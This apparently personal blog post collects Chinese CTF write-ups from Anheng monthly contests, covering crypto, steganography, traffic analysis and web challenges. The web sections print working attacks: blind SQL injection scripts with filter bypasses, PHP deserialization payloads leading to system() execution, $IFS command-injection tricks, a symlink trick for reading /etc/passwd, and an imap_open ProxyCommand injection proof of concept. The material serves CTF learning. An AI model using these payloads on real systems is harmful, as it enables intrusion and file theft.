安恒月赛复现集合

历史文章补发

部分安恒月赛题目的复现记录

5月月赛

crypto&misc

地址:https://pan.baidu.com/s/1RB1w5wHuk8bnNShHGaqqVg 提取码:259q

baby_writeup

拿到题目先strings一下,发现有个flag{}字样,然后在IDA打开,ctrl+1查找string字符串,找到之后F5反编译一下,记得要找到函数入口,看到代码

1
2
3
4
5
6
7
8
9
10
fgets(s, 17, stdin);
if ( strlen(s) != 16 )
exit(0);
sub_400756(s, &v6);
for ( i = 0; i < strlen(v6); ++i )
{
if ( byte_601100[(signed __int64)i] != v6[i] )
exit(0);
}
printf("Flag{%s}\n", s);

可以看到题目是输入一个长度为16的字符串(因为字符串结尾还有一个结束符要占据一位),然后经过校验之后输出,说明输入的原来就是flag,找到byte_601100内存中的内容,把16进制提取出来

1
6DAB1EEB88B9B6179B7ACB7E

猜测它要不是hex要不是base64,尝试一下发现是base64,转换之,需要先进行ascii2hex的转换,这个不理解为什么,然后运行即可得到flag

1
2
3
root@kali:~/Desktop# ./5aff787616ad1 
base64i5thebest+
Flag{base64i5thebest+}

RSA

这题真是佩服他们的搜索能力,原来还可以这么玩(2333.),打开代码发现是已知n,e求d获取flag

1
2
3
4
5
N = 101991809777553253470276751399264740131157682329252673501792154507006158434432009141995367241962525705950046253400188884658262496534706438791515071885860897552736656899566915731297225817250639873643376310103992170646906557242832893914902053581087502512787303322747780420210884852166586717636559058152544979471
e = 46731919563265721307105180410302518676676135509737992912625092976849075262192092549323082367518264378630543338219025744820916471913696072050291990620486581719410354385121760761374229374847695148230596005409978383369740305816082770283909611956355972181848077519920922059268376958811713365106925235218265173085

import hashlib
flag = "flag{" + hashlib.md5(hex(d)).hexdigest() + "}"

观察可知本体的e非常大,所以百度搜索 rsa攻击e很大 在第一条结果里面居然就找到思路!!本题是wiener-attack,还附上了github代码,直接copy下来用就可以了,可以得到d的值,代入上述代码中即可得到flag

洞拐洞拐洞洞拐

打开图片放大观察发现每一个小像素都是或黑或白的小方块,所以可以把黑色看成1白色看成0转换一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from PIL import Image
import re
import base64

im = Image.open('5aff787f5d6f2.png')
pix = im.load()
width = im.size[0]
height = im.size[1]
flag = ''
for x in range(width):
for y in range(height):
r,g,b = pix[x,y]
if r == 255:
flag += '0'
else:
flag += '1'
content = re.findall(r'.{8}',flag)
nflag = ''

for item in content:
nflag += chr(int(item,2))

flag = base64.b16decode(nflag)
open('1.wav','wb').write(flag)

处理wav文件,可以用一个Audacity工具,网上有在线版,分析文件,发现文件波形长度应该是八进制文件,分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import wave
import numpy as np
import re
import base64

file = '1.wav'
wavefile = wave.open(file,'r')
numframes = wavefile.getnframes()
strdata = wavefile.readframes(numframes)
wavedata = np.fromstring(strdata,dtype=np.int16)
wavedata = wavedata * 1.0 / (max(abs(wavedata)))
datas = []
for i in range(0,len(wavedata),10):
datas.append(wavedata[i])

strs = ''
for data in datas:
x = "%0.2f" % data
strs += str(int((float(x) + 1.0)/0.25) - 1)

tt = re.findall(r'.{3}',strs)
flag = ''
for t in tt:
flag += chr(int(t,8))
# print flag
print base64.b32decode(flag+"======")

处理一下就可以得到flag,这题真的是头铁,还是我太菜了。。

7月月赛

web

web02 就是这么直接

这题目我觉得就是脑洞题,题目给出了提示代码,其中有md5函数,可能是提示我们本题和md5有关,其实本题思路就是先提交一个md5值,题目会返回 emmm我觉得答案是啥呢? 查看元素可以看到后面还加了一串md5值,将这段md5再次提交,重复这个过程,直到得到flag,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import re

url = 'http://101.71.29.5:10002/flag.php'
payload = {'answer':'c36af63f87acebba1c23498809db7537'}

while True:
content = requests.post(url,payload).content.decode('utf-8')
if 'flag' in content:
print(content)
break
new = re.findall('<!--[0-9a-z]{10,}-->',content)
payload = {'answer': new[0][4:-3]}

web03 简历来了

这个题目考察的是CSRF相关的知识点

/upload/73e0669ac68ffcb28aed0c48b0924a42.jpg
http://138.68.29.92:8888/ContentHijackingLoader.html?objfile=http://127.0.0.1/upload/73e0669ac68ffcb28aed0c48b0924a42.jpg&objtype=flash&target=http://127.0.0.1/admin&postdata=&logmode=result&regex=&isauto=1

MISC

链接:https://pan.baidu.com/s/1kqOTuqtJsW6PK4ob2_VqNg 密码:m97g

0x01-弱口令

这题比较坑,题目是个压缩包,解压需要密码,打开压缩包之后发现有一段不可见文本,复制一下在sublime中打开发现是摩斯密码,解密一下 HELL0FORUM ,解压这个压缩包,发现一张图片,一道基本的LSB色道隐写,用脚本跑一下即可

1
python lsb.py extract aa.png 1.txt 123456
是弱口令
1
2
3
4

### 0X02-浏览图片的时候刷新键有没有用呢

由刷新可以联想到这题考察的是F5算法,网上查找解密算法

java Extract Misc.jpg

1
2
3
4

可以得到一个文本文件,看文件前缀发现是zip文件前缀,修改文件后缀为zip即可,zip文件还有一层伪加密,之后解密即可得到flag

### 0x03-到底为了什么

http.request.uri contains “pma”
1
2
3
4
5
6
7
8
9
10
11
12
13
14

[](month_race/1.png)

可以看到有一条修改密码的命令,继续浏览发现应该是一个csrf攻击的流量包,网上查找cve编号

[](month_race/2.png)

计算flag

```php
<?php
$con = strtolower("CVE-2017-1000499_CWE-352_2018-06-15 09:40:12");
echo md5($con);
?>

十月月赛

web

好黑的黑名单

随便测试可以发现数据库名长度为3

1
http://101.71.29.5:10008/show.php?id=0||if((length(database())-3),1,0)

题目过滤了分号,单引号,但是regexp没有被过滤,可以使用regexp来绕过,可知数据库名为web

1
http://101.71.29.5:10008/show.php?id=if((database()regexp(0x776562)),1,2)

然后爆库名,但是=号被过滤了,但是可以用in来绕过,比如这样

1
select 1 in (1,2,3,4)

空格也被过滤了,可以用%0a绕过,还有information.schema.tables也被过滤了,可以用information_schema%0a.%0atables来绕过,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = "http://101.71.29.5:10008/show.php?id="
test = "0123456789qwertyuiopasdfghjklzxcvbnm,\{|\}~"
table = "if(((select%0agroup_concat(table_name)%0afrom%0ainformation_schema%0a.%0atables%0awhere%0atable_schema%0ain%0a(database()))regexp(0x{})),1,2)"
# table_name:admin,flaggg,menu
column = "if(((select%0agroup_concat(column_name)%0afrom%0ainformation_schema%0a.%0acolumns%0awhere%0atable_name%0ain%0a(0x666c61676767))regexp(0x{})),1,2)"
# id,f1agg
content = "if(((select%0af1agg%0afrom%0aflaggg)regexp(0x{})),1,2)"
payload = "5e"
flag = ""
flagdic = "0123456789abcdeflag."
for i in range(50):
for s in flagdic:
temp = hex(ord(s))[2:4]
# print(url+table.format(payload+temp))
res = requests.get(url+content.format(payload+temp)).text
if "郑州烩面" in res:
if temp == "7b":
payload += "2e"
else:
payload += temp;
flag += chr(int(temp,16))
print(payload)
print(flag)
break
elif "油泼面" in res:
continue;
else:
print("error")

看了学长的博客说regexp在匹配flag的时候只能到flag{之后就会报错,这是由于正则表达式中{}是有特殊含义的,所以会报错,我们用 . 来代替{}就可以了

ezsql

注入题目,注册账号登录进去查看用户信息时id参数存在注入,需要用到load_file函数,wp里面用了if函数,但是这题我使用的异或运算符^

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

dic = "0123456789ABCDEF"
url = "http://101.71.29.5:10015/user/user.php?id="
file = open('1.txt','w')
cookie = {"PHPSESSID": "8lvl1ukppvqs2ovi8n0a2lu4g5"}
# index.php
index = "0^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)) like 0x{}25)"
config = "0^(hex(load_file(0x2f7661722f7777772f68746d6c2f636f6e6669672f636f6e6669672e706870)) like 0x{}25)"
payload = ""
content = ""
for i in range(10000):
for item in dic:
temp = hex(ord(item))[2:4]
# print(url+index.format(payload+temp))
res = requests.get(url+config.format(payload+temp),cookies=cookie).text
if "admin" in res:
payload += temp
content += item
file.writelines(payload)
file.writelines(content)
print(payload)
print(content)
break

可以得到index.php的代码为

1
2
3
4
5
6
7
8
<?php 
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>

再读config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}

可以看到在__get()函数,该函数是类在访问私有成员的时候会自动调用这个方法,具体机制还需要研究,然后这里与setfilter函数利用反序列化可以构成rce,在cookie中写入序列化值

1
2
3
$snow = new Config();
$snow->filter = array('system');
echo base64_encode(serialize($snow));

然后访问

1
http://101.71.29.5:10015/index.php?p=ls

发现即可列目录,但是由于过滤了空格和/,所以无法读文件,空格可以使用$IFS绕过,然后利用grep命令来读

1
http://101.71.29.5:10015/index.php?p=grep$IFS-ri$IFS.$IFSflag

这个不理解,需要后续再学习

在附上官方解法,待研究

interesting web

题目是一个flask框架,题目了修改密码功能,思路是修改admin的密码,flask框架中session
是存储在浏览器端的,虽然不能伪造但是可以破解,我们

1
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJaamRrWlRaa1l6QmlZVEV4TlRVMU5UWTVaVFV3Wmpaak16ZGxNVFU1TURVPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DuKTNg.LtfGK8IX-4fJ6WO-6mcVJsU2hdI

第一个.号之前的内容是base64编码的,直接解密就可以了

1
{"login":true,"token":{" b":"ZjdkZTZkYzBiYTExNTU1NTY5ZTUwZjZjMzdlMTU5MDU="},"username":"admin"}

再将b的值base64解码就可以得到token了,然后修改密码,以admin身份登录,然后利用软链接来读取文件

1
2
ln -s /etc/passwd 1.jpg
tar cvfp shell.tat 1.jpg

然后上传在访问图片,下载之,修改后缀为txt查看即可得到flag

Crypt

仿射

仿射密码,题目已经给出了b的值,对于仿射密码来说

加密过程为

y≡e(x)≡a(x)+b(mod26)

解密过程

x ≡ d(e(x)) ≡ a’(e(x)-b)(mod26) # a’为a的逆,在26以内是有限的

我们只需要爆破即可

1
2
3
4
5
6
7
8
9
c = "achjbnpdfherebjsw"
b=7
flag = ""
for i in (1,9,21,15,3,19,7,23,11,5,17,25):
for s in c:
seq = (i*((ord(s)-ord('a'))-b)) % 26
flag += chr(ord('a')+seq)
print(flag)
flag = ""

然后即可找到flag

MISC

MISC1

题目如下

中华文化博大精深,近日在教小外甥学习1-110之间的数字,可是小外甥比较调皮,不好好学,于是灵机一动,想到一个容易记忆,并且还可以识字的好办法,你知道我想出了什么办法吗?下边是在教外甥学习的一部分内容,你知道分别代表什么意思吗?

(企鹅,青蛙,油漆,花旗参,救生圈,油漆,二胡,二石,漏斗,二石,二石,冰淇淋,漏斗,喇叭,油漆,冰淇淋,鹅卵石,21世纪,耳机,油漆,耳机,二石,二胡,耳机,21世纪,企鹅,二流子,二石,要发,二石,冰淇淋,冰淇淋,油漆,冰淇淋,企鹅,乔丹,二石,酒壶)

这是一种数字密码表,好像叫110数字记忆表,是帮助提高记忆力的

直接网上找对应的值然后脚本,获取数字之后,每个数字的加30取ascii码值就是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cipher = ("企鹅","青蛙","油漆","花旗参","救生圈","油漆","二胡","二石","漏斗","二石","二石","冰淇淋","漏斗","喇叭",
"油漆","冰淇淋","鹅卵石","21世纪","耳机","油漆","耳机","二石","二胡","耳机","21世纪","企鹅","二流子","二石","要发",
"二石","冰淇淋","冰淇淋","油漆","冰淇淋","企鹅","乔丹","二石","酒壶")

dic = {"企鹅":72,"青蛙":78,"油漆":67,"花旗参":73,"救生圈":93,"二胡":25,"二石":20,"漏斗":69,"喇叭":68,"冰淇淋":70,
"鹅卵石":24,"21世纪":21,"耳机":27,"二流子":26,"要发":18,"乔丹":23,"酒壶":95}

nums = ""
for item in cipher:
temp = dic.get(item)
nums += str(temp)
flag = ""
for i in range(len(nums)//2):
flag += chr(int(nums[2*i:2*i+2])+30)
print(flag)

12月月赛

MISC

签到题

关注公主号,回复flag会返回一个问题 什么牛不会跑 ,答案是 蜗牛 ,然后即可得到flag

学习资料

尝试爆破,但是爆破了好久都没有成功,最终无奈看了一下题解,解开压缩包,之后就是docx隐写,在设置中显示隐藏文字即可。

变换的指纹

用CSDN密码库密码爆破。我失败了,看了别人的密码!(()!@)6125dou(注意结尾的空格),之后即可得到压缩包,

23685528276158852365572716835687172857481317

JUJU

题目提示了说11只JUJU,但是图片中却不够11个,可知是图片高度的问题,修改一下图片高度

然后即可看到类似base64编码的字符串MZWGCZ33GQZTQMTEM5SGMMTEPU====,但是解码失败,尝试后发现是base32编码的,解密即可得到flagflag{4382dgdf2d}

菜刀666

先随便查看http流量,在最后的流量中发现了压缩包的传输,查看流量大致可以看到黑客是不断探测目录,最终探测出了flag坐在目录,向服务器请求了hello.zip的文件内容,将文件提取出来,发现在文件末尾有提示文字well,you need passwd!,可知zip压缩包基本不可能是伪加密,应该是需要密码的,再次查看流量包,发现一条超长的http的数据包,发现一段jpg图片的十六进制,提取存储为jpg图片

打开图片即可看到密码,解压即可看到flag

WEB

easy

代码审计,关键过滤如下

1
preg_match('/[oc]:\d+:/i',$data,$matches);

可以看到是为了防止object类的序列化,但是过滤不够严谨,可以用 + 绕过 o:14 -> o:+14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
@error_reporting(1);
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
$data = new baby();
$data->file = "flag.php";
print(serialize(($data)));//给输出加一个加号在url编码一下

payload

1
http://101.71.29.5:10007/?data=O%3A%2B4%3A%22baby%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

ezweb2

既然是渗透测试,扫描一下目录,发现存在admin.php,登录后返回 you are not admin. ,查看cookie发现user值为user的base64值,我们将此值修改为 admin 的base64值,然后刷新可以看到一个命令执行界面,测试发现题目过滤了空格,尝试用$IFS绕过
cat$IFS/ffLAG_404 ,然后即可成功绕过

result

1月月赛

web

babygo

代码审计题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
@error_reporting(1); 
include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
else
{
highlight_file("./index.php");
}

题目考察pop链的构造,核心点在于

1
2
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)

代码中修改了变量的值,这样if函数验证就无法通过,为了解决这个问题可以使用PHP中的指针(引用),是$aaa指向变量$bbb,这样修改了$aaa的值即相当于修改了$bbb的值

构造pop链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
error_reporting(1);
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool();
}
}
class cool
{
public $filename = "flag.php";
public $nice;
public $amzing = 'O:4:"baby":3:{s:9:" * skyobj";N;s:3:"aaa";s:4:"snow";s:3:"bbb";R:3;}';
}
$b = new baby();
echo urlencode(serialize($b));
1
data=O%3A4%3A"baby"%3A3%3A%7Bs%3A9%3A"%00%2A%00skyobj"%3BO%3A4%3A"cool"%3A3%3A%7Bs%3A8%3A"filename"%3Bs%3A8%3A"flag.php"%3Bs%3A4%3A"nice"%3BN%3Bs%3A6%3A"amzing"%3Bs%3A68%3A"O%3A4%3A"baby"%3A3%3A%7Bs%3A9%3A"+%2A+skyobj"%3BN%3Bs%3A3%3A"aaa"%3Bs%3A4%3A"snow"%3Bs%3A3%3A"bbb"%3BR%3A3%3B%7D"%3B%7Ds%3A3%3A"aaa"%3BN%3Bs%3A3%3A"bbb"%3BN%3B%7D

查看源代码即可得到flag

1
2
3
<?php
// $flag = 'flag{bd75a38e62ec0e450745a8eb8e667f5b}';
$sth='test5030b66d4bdtest35daed9d51e2688377299test';

MISC

zhunianjixiang

题目是一张图片,但是却有2MB,一看就藏东西了,foremost分离一下

1
foremost zhu.jpg

然后即可得到一张二维码,扫描一下

看来还有其他东西,stegsolve上查看一下得到flag

1
flag{You_ARE_SOsmart}

CRYPTO

真的是键盘吗

ypau_kjg;”g;”ypau+

题目的提示不好,原题目的提示是键盘之争,百度一下即可发现是考察键盘的两种布局方式链接,按照两种方式一一对应即可

1
2
3
4
5
6
7
8
QWERTY = ['q','w','e','r','t','y','u','i','o','p','{','}','|','a','s','d','f','g','h','j','k','l',';','"','z','x','c','v','b','n','m','<','>','?','_','+']
Dvorak = ['"','<','>','p','y','f','g','c','r','l','?','+','|','a','o','e','u','i','d','h','t','n','s','_',';','q','j','k','x','b','m','w','v','z','{','}']
dic = dict(zip(QWERTY,Dvorak))
flag = ''
s = 'ypau_kjg;"g;"ypau+'
for i in s:
flag += dic[i]
print(flag)

flag{this_is_flag}

get it

Alice和Bob正在进行通信,作为中间人的Eve一直在窃听他们两人的通信。

Eve窃听到这样一段内容,主要内容如下:
p = 37
A = 17
B = 31

U2FsdGVkX1+mrbv3nUfzAjMY1kzM5P7ok/TzFCTFGs7ivutKLBLGbZxOfFebNdb2
l7V38e7I2ywU+BW/2dOTWIWnubAzhMN+jzlqbX6dD1rmGEd21sEAp40IQXmN/Y0O
K4nCu4xEuJsNsTJZhk50NaPTDk7J7J+wBsScdV0fIfe23pRg58qzdVljCOzosb62
7oPwxidBEPuxs4WYehm+15zjw2cw03qeOyaXnH/yeqytKUxKqe2L5fytlr6FybZw
HkYlPZ7JarNOIhO2OP3n53OZ1zFhwzTvjf7MVPsTAnZYc+OF2tqJS5mgWkWXnPal
+A2lWQgmVxCsjl1DLkQiWy+bFY3W/X59QZ1GEQFY1xqUFA4xCPkUgB+G6AC8DTpK
ix5+Grt91ie09Ye/SgBliKdt5BdPZplp0oJWdS8Iy0bqfF7voKX3VgTwRaCENgXl
VwhPEOslBJRh6Pk0cA0kUzyOQ+xFh82YTrNBX6xtucMhfoenc2XDCLp+qGVW9Kj6
m5lSYiFFd0E=

分析得知,他们是在公共信道上交换加密密钥,共同建立共享密钥。

而上面这段密文是Alice和Bob使用自己的密值和共享秘钥,组成一串字符的md5值的前16位字符作为密码使用另外一种加密算法加密明文得到的。

例如Alice的密值为3,Bob的密值为6,共享秘钥为35,那么密码为:

password = hashlib.md5(“(3,6,35)”).hexdigest()[0:16]

二月月赛

WEB

注册登录,有个邮箱验证功能,验证之后新增一个改变背景的功能,允许图片上传,但是只允许上传jpg图片,查看源代码可以看到图片的存储位置

上传测试可以发现文件会被强制命名为用户名.jpg,截断什么的也不存在,当时就是做到这里没思路了,看了飘零学长的思路之后,知道了imap_open思路,该函数原型为

1
imap_open(string $mailbox, string $username, string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] ) : resource

漏洞在于$mailbox,用docker来测试一下

1
2
3
4
docker search imap
docker pull fedosov/docker-php-imap-composer
docker run -itd fedosov/docker-php-imap-composer /bin/bash
docker attach id

写入一个实现漏洞测试函数

1
2
3
4
5
<?php
$payload = "echo skysky|tee /tmp/success";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

在执行之前/tmp目录为空,运行该文件之后生成了success文件,据此我们可以通过邮箱验证功能向/user目录中写入文件,

但是实际操作失败了,不知道原因为何。

MISC

非常简单的流量分析

1
http contains "robots.txt"

追踪http流可以看到存在abc.html页面,接续追踪该流量,查看abc.html页面内容

md5 0x99a98e067af6b09e64f3740767096c96

DES 0xb19b21e80c685bcb052988c11b987802d2f2808b2c2d8a0d (129->143)

DES 0x684a0857b767672d52e161aa70f6bdd07c0264876559cb8b (143->129)

当时做到这里僵住了,没有考虑后面的ESP流量包,看wp可知ESP是通过IpSec协议加密过的流量,需要解密流量包

按照配置网上的思路配置一下esp秘钥,依次选择编辑->首选项->Protocols->ESP

添加配置信息,协议选择ipv4,源IP和目的IP填好,SPI在数据包里面有,Encrypt选择TripleDES-CBC,选择对应的des秘钥, authentication选择MD5,选择上面MD5值

之后即可得到解密报文

发现http报文有点特殊

可以看到前几位是flag的ascii码值,将此种类型数据包提取出来处理一下

1
2
3
4
5
6
7
8
9
import re

with open('2.txt','r') as f:
content = f.read()
flag = ''
par = re.findall(r'include/information/.*_(.*)\.php',content)
for i in par:
flag += chr(int(i))
print(flag)

flag:flag{27b03b758f255276e5a98da0e1947bed}